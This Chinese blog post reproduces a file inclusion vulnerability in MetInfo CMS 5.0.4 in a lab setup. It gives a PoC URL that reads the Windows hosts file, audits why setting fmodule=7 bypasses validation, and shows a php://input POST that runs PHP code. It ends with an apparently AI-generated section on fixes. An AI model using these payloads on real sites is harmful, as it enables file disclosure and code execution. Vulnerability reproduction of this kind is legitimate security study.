[漏洞复现]metinfo5.0.4文件包含

该博客围绕metinfo5.0.4在windows server 2016环境下的漏洞展开。介绍了漏洞点,通过代码审计发现文件包含函数相关问题,将fmodule设为7可复现。还提及其他利用方式,如利用封装协议执行PHP命令,修改请求方式和参数可看到phpinfo界面。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境

OS:windows server 2016

cms:metinfo5.0.4

web server:phpstudy pro

PHP版本:php5.3.29

漏洞点:

http://127.0.0.1/MetInfo5.0/about/index.php

image-20230831165916321

POC

?fmodule=7&module=c:/windows/system32/drivers/etc/hosts

image-20230831170151957

代码审计

打开./about/index.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

发现使用了文件包含函数require_once,包含了文件module.php

我们打开./include/module.php

if($fmodule!=7){
    if($mdle==100)$mdle=3;
    if($mdle==101)$mdle=5;
    $module = $modulefname[$mdle][$mdtp];
    if($module==NULL){okinfo('../404.html');exit();}
    if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
        if($fmodule==$mdle){
            $module = $modulefname[$mdle][$mdtp];
        }
        else{
            okinfo('../404.html');exit();
        }
    }
    else{
        if($list){
            okinfo('../404.html');exit();
        }
        else{
            $module = $modulefname[$mdle][$mdtp];
        }
    }
    if($mdle==8){
    if(!$id)$id=$class1;
    $module = '../feedback/index.php';
    }
}

发现当fmodule!=7时,才会对module进行验证,所以我们将fmodule=7,即可复现

其他利用方式

利用封装协议php://input 执行PHP 命令;

右击,更改请求方式,修改请求方式为POST

image-20230831192112707

再将请求参数添加到url中

image-20230831192210777

更改url为 /MetInfo5.0/about/index.php?fmodule=7&module=php://input

image-20230831192311502

post请求参数为php代码

<?php
phpinfo();
?>

发送请求后即可看到phpinfo界面

image-20230831192518772

此外,还可以利用其他php封装协议

file://         #访问本地文件系统
http://         #访问HTTP(s)网址
ftp://          #访问FTP(s)URLs
php://          #访问各个输入/输出流(I/0 streams)
zlib://         #压缩流
data://         #数据(RFC2397)
glob://         #查找匹配的文件路径模式
phar://         #PHP归档
ssh2://         #Secure Shell 2
rar://          #RAR
ogg://          #音频流
expect://       #处理交互式的流

### 关于 Metinfo 5.0.4 版本中的文件包含漏洞及其修复方案 Metinfo 是一款流行的开源 CMS 系统,广泛用于构建企业网站和其他在线平台。然而,在其早期版本中存在一些已知的安全漏洞,其中包括文件包含漏洞。 #### 文件包含漏洞概述 文件包含漏洞是一种常见的 Web 应用程序安全缺陷,允许攻击者通过构造特定的输入参数来访问或加载未经授权的本地或远程文件。对于 Metinfo 5.0.4 的情况,该版本可能存在未对用户提交的数据进行充分过滤的情况,从而使得攻击者能够利用此漏洞实现任意文件读取甚至远程代码执行[^1]。 #### 解决方案分析 为了有效应对这一威胁并保护基于 Metinfo 构建的应用免受侵害,建议采取以下措施: 1. **升级到最新稳定版** 开发团队通常会在后续更新中修补发现的安全隐患。因此,最直接有效的办法就是将系统迁移到官方发布的较新版本(如可能的话)。这些新版不仅修正了旧有 bug 还增强了整体安全性[^2]。 2. **实施严格的白名单机制** 对所有涉及动态文件名处理的功能模块应用严格的校验逻辑。仅接受预定义范围内的合法选项作为实际操作对象而非依赖黑名单方式阻止非法请求[^3]。 3. **禁用危险函数调用** PHP 中某些内置功能如果被滥用也可能成为安全隐患源头之一。例如 `include()`, `require()` 及它们各自的变体形式都应谨慎使用,并考虑移除不必要的外部链接支持以防万一发生 SSRF 类型攻击事件[^4]。 4. **增强日志记录与监控能力** 建立健全的日志体系有助于及时察觉异常行为模式进而快速响应潜在入侵企图;同时配合实时告警工具进一步提升防护水平[^5]。 以下是针对上述提到的部分技术要点的一个简单示例代码片段展示如何改进原有设计思路以减少风险暴露面: ```php <?php // 安全加固后的文件引入示范 $allowed_files = ['config.php', 'functions.inc']; // 白名单列表 if (isset($_GET['file']) && in_array(basename($_GET['file']), $allowed_files)) { include $_GET['file']; } else { die('Invalid File Request'); } ?> ``` 以上脚本通过限定可加载资源集合的方式极大降低了因不当配置而导致意外后果的可能性。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值